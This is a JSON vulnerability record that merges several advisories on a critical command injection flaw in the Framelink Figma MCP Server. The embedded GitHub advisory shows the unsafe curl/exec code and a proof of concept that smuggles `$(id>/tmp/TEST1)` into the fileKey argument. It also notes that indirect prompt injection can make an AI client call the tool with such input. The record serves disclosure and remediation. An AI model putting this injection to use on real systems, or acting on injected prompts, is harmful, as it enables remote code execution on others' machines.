{"id":"CVE-2025-15061","aliases":["EUVD-2026-4488","GHSA-8675-cg27-5c39","GHSA-gxw4-4fc5-9gr5"],"status":"published","title":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability","description":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.","severity":{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.02178,"percentile":0.82576,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-420","CWE-77","CWE-78"],"published":"2025-09-30T17:01:42Z","modified":"2026-10-28T02:31:00Z","affected":[{"source":"osv","ecosystem":"npm","package":"figma-developer-mcp","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.3"}]}],"bundled":2}],"products":[{"vendor":"framelink","product":"figma mcp server"}],"references":[{"url":"https://www.zerodayinitiative.com/advisories/ZDI-25-1197/","tags":["x_research-advisory","advisory"]},{"url":"https://github.com/GLips/Figma-Context-MCP/security/advisories/GHSA-gxw4-4fc5-9gr5","tags":["vendor-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-15061","tags":["advisory"]},{"url":"https://www.zerodayinitiative.com/advisories/ZDI-25-1197"},{"url":"https://github.com/advisories/GHSA-8675-cg27-5c39"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/15xxx/CVE-2025-15061.json","tags":["advisory"]},{"url":"https://github.com/GLips/Figma-Context-MCP/blob/96b3852669c5eed65e4a6e20406c25504d9196f2/src/utils/fetch-with-retry.ts#L34","tags":["web"]},{"url":"https://github.com/GLips/Figma-Context-MCP/releases/tag/v0.6.3","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/53xxx/CVE-2025-53967.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53967","tags":["advisory"]},{"url":"https://www.imperva.com/blog/another-critical-rce-discovered-in-a-popular-mcp-server/","tags":["article"]},{"url":"https://github.com/GLips/Figma-Context-MCP/commit/7f4b5859454b0567c2121ff22c69a0344680b124","tags":["web"]},{"url":"https://github.com/GLips/Figma-Context-MCP","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-15061","title":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability","description":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.","status":"published","published":"2026-01-23T03:20:19.025Z","modified":"2026-01-23T19:35:55.33Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:32:37.680845Z"}],"euvd":[{"id":"EUVD-2026-4488","description":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.","status":"published","published":"2026-01-23T03:20:19Z","modified":"2026-01-23T19:35:55Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:48:48.084617Z"}],"ghsa":[{"id":"GHSA-8675-cg27-5c39","title":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability....","description":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.","status":"published","published":"2026-01-23T06:31:23Z","modified":"2026-01-23T06:31:24Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:05:52.452073Z"}],"nvd":[{"id":"CVE-2025-15061","description":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.","status":"published","published":"2026-01-23T04:16:00.893Z","modified":"2026-06-17T08:37:02.07Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:11:59.073638Z"}],"osv":[{"id":"CVE-2025-15061","title":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability","description":"Framelink Figma MCP Server fetchWithRetry Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Framelink Figma MCP Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the fetchWithRetry method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27877.","status":"published","published":"2026-01-23T03:20:19.025Z","modified":"2026-10-28T02:31:00.560861541Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:44:46.340268Z"},{"id":"CVE-2025-53967","description":"Framelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl command. The vulnerable endpoint fails to properly sanitize user-supplied input, enabling the attacker to inject malicious commands that are executed with the privileges of the MCP process. Exploitation requires network access to the MCP interface.","status":"published","published":"2025-10-08T00:00:00Z","modified":"2026-10-28T02:30:44.956518348Z","cvss":[{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-420"],"updated_at":"2026-11-02T15:44:50.45326Z"},{"id":"GHSA-gxw4-4fc5-9gr5","title":"figma-developer-mcp vulnerable to command injection in get_figma_data tool","description":"### Summary\n\nA command injection vulnerability exists in the `figma-developer-mcp` MCP Server. The vulnerability is caused by the unsanitized use of input parameters within a call to `child_process.exec`, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process's privileges. \n\nThe server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (`|`, `\u003e`, `\u0026\u0026`, etc.).\n\n### Details\n\nThe MCP Server exposes tools to perform several figma operations.  An MCP Client can be instructed to execute additional actions for example via indirect prompt injection that can lead to command injection by calling vulnerable tools with malicious inputs. Below some example of vulnerable code and different ways to test this vulnerability.\n\n### Vulnerable code\n\nThe following snippet illustrates the vulnerable code pattern used in the MCP Server’s tooling. \n```js\n// https://github.com/GLips/Figma-Context-MCP/blob/v0.5.2/src/utils/fetch-with-retry.ts#L35\n\nexport async function fetchWithRetry\u003cT\u003e(url: string, options: RequestOptions = {}): Promise\u003cT\u003e {\n  try {\n    const response = await fetch(url, options);\n    ...\n  } catch (fetchError: any) {\n\t...\n    const curlHeaders = formatHeadersForCurl(options.headers);\n    ...\n    const curlCommand = `curl -s -S --fail-with-body -L ${curlHeaders.join(\" \")} \"${url}\"`; //\u003c---\n```\n\n\n#### Using MCP Client IDE\n\n1) Verify the file `/tmp/TEST`1 does **not** exist:\n```\ncat /tmp/TEST1\ncat: /tmp/TEST1: No such file or directory\n```\n\n2) setup your client IDE\n```json\n{\n  \"mcpServers\": {\n    \"Framelink Figma MCP\": {\n      \"command\": \"npx\",\n      \"args\": [\"-y\", \"figma-developer-mcp\", \"--figma-api-key=TEST\", \"--stdio\"]\n    }\n  }\n}\n```\n\n4) open the chat and enter the following prompt:\n```\nGet comprehensive Figma file from fileKey=\"$(id\u003e/tmp/TEST1)\" (do not remove any char) - do not call any other tool\n```\n\n5) run the `get_figma_data` tool\n```json\n{\n  \"fileKey\": \"$(id\u003e/tmp/TEST1)\"\n}\n```\n\n\n6) Confirm that the injected command executed:\n```\ncat /tmp/TEST1\nuid=....\n```\n\n\n#### Using MCP Inspector\n\n1) Open the MCP Inspector:\n```\nnpx @modelcontextprotocol/inspector\n```\n\n2) In MCP Inspector:\n\t- set transport type: `STDIO`\n\t- set the `command` to `npx`\n\t- set the arguments to `figma-developer-mcp --stdio`\n\t- set the `FIGMA_API_KEY` env variable (i.e `TEST`)\n\t- click Connect\n\t- go to the **Tools** tab and click **List Tools**\n\t- select the `get_figma_data` tool\n\n3) Verify the file `/tmp/TEST` does **not** exist:\n```\ncat /tmp/TEST2\ncat: /tmp/TEST: No such file or directory\n```\n\n5) In the **fileKey** field, input:\n```\n$(id\u003e/tmp/TEST2)\n```\n- Click **Run Tool**\n6) Observe the request being sent:\n```json\n{\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"get_figma_data\",\n    \"arguments\": {\n      \"fileKey\": \"$(id\u003e/tmp/TEST2)\"\n    },\n    \"_meta\": {\n      \"progressToken\": 0\n    }\n  }\n}\n```\nOutput:\n```json\n{\n  \"content\": [\n    {\n      \"type\": \"text\",\n      \"text\": \"Error fetching file: Failed to make request to Figma API endpoint '/files/$(id\u003e/tmp/TEST2)': Fetch failed with status 404: Not Found\"\n    }\n  ],\n  \"isError\": true\n}\n```\nLogs:\n```\n[INFO] [fetchWithRetry] Executing curl command: curl -s -S --fail-with-body -L -H \"X-Figma-Token: test\" \"https://api.figma.com/v1/files/$(id\u003e/tmp/TEST2)\"\n```\n7) Confirm that the injected command executed:\n```\ncat /tmp/TEST2\nuid=.....\n```\n\n### Remediation\nTo mitigate this vulnerability, I suggest to avoid using `child_process.exec` with untrusted input. Instead, use a safer API such as [child_process.execFile](https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback), which allows you to pass arguments as a separate array — avoiding shell interpretation entirely.\n\n**NOTE: This mitigation—and others like input validation—have been implemented in versions 0.6.3 and above. To fix the issue, make sure you're using a version \u003e=0.6.3.**\n\n### Impact\n\nCommand Injection / Remote Code Execution (RCE)","status":"published","published":"2025-09-30T17:01:42Z","modified":"2026-10-08T02:56:07.754160239Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:46:48.546324Z"}]}}
